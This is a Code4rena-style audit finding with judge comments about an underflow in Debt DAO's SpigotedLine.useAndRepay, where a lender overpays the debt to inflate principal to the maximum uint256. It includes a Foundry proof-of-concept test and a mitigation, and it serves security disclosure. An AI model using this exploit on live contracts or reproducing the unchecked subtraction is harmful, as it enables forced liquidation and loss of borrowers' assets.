Lender can cause unlimited debt due to underflow

[code423n4]

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L137
https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L186

Vulnerability details

Impact

The lender and borrower can both call the function SpigotedLine.useAndRepay (https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L137) and specify an amount that is used to repay the debt.
The lender can call this function with an amount > credit.interestAccrued + credit.principal. This will cause an Underflow in the CreditLib.repay function (https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L186).

Practically, this means that if a SpigotedLine is used, the lender can cause the debt for the borrower to be so big that it could never be repaid (principal is a uint256).

So the borrower will get liquidated and lose access to the revenue contracts and all the assets will be used to pay the lenders.

Proof of Concept

I used the following test and added it to SpigotedLine.t.sol.
It will cause an underflow in the credit.principal.

function test_audit_lender_can_use_and_repay_underflow() public {
    deal(address(lender), lentAmount + 1 ether);
    deal(address(revenueToken), MAX_REVENUE);
    address revenueC = address(0xbeef); // need new spigot for testing
    bytes32 id = _createCredit(address(revenueToken), Denominations.ETH, revenueC);
    _borrow(id, lentAmount - 1);

    bytes memory tradeData = abi.encodeWithSignature(
    'trade(address,address,uint256,uint256)',
    address(revenueToken),
    Denominations.ETH,
    1 gwei,
    lentAmount
    );

    hoax(borrower);
    line.claimAndTrade(address(revenueToken), tradeData);
    (, uint256 principal,,,,,) = line.credits(line.ids(0));
    console.log(principal);

    vm.prank(lender); // prank lender
    // This amount is 1 bigger than the principal
    line.useAndRepay(lentAmount);

    (, principal,,,,,) = line.credits(line.ids(0));
    console.log(principal);
}

After the exploitation, credit.principal will be 115792089237316195423570985008687907853269984665640564039457584007913129639935.

Tools Used

VSCode

Recommended Mitigation Steps

Limit the debt that is repaid to credit.interestAccrued + credit.principal as you do in the SpigotedLine.claimAndRepay function (https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L115-L118).

[c4-judge]

dmvt marked the issue as duplicate of #82

[c4-judge]

dmvt marked the issue as satisfactory

[C4-Staff]

liveactionllama marked the issue as duplicate of #461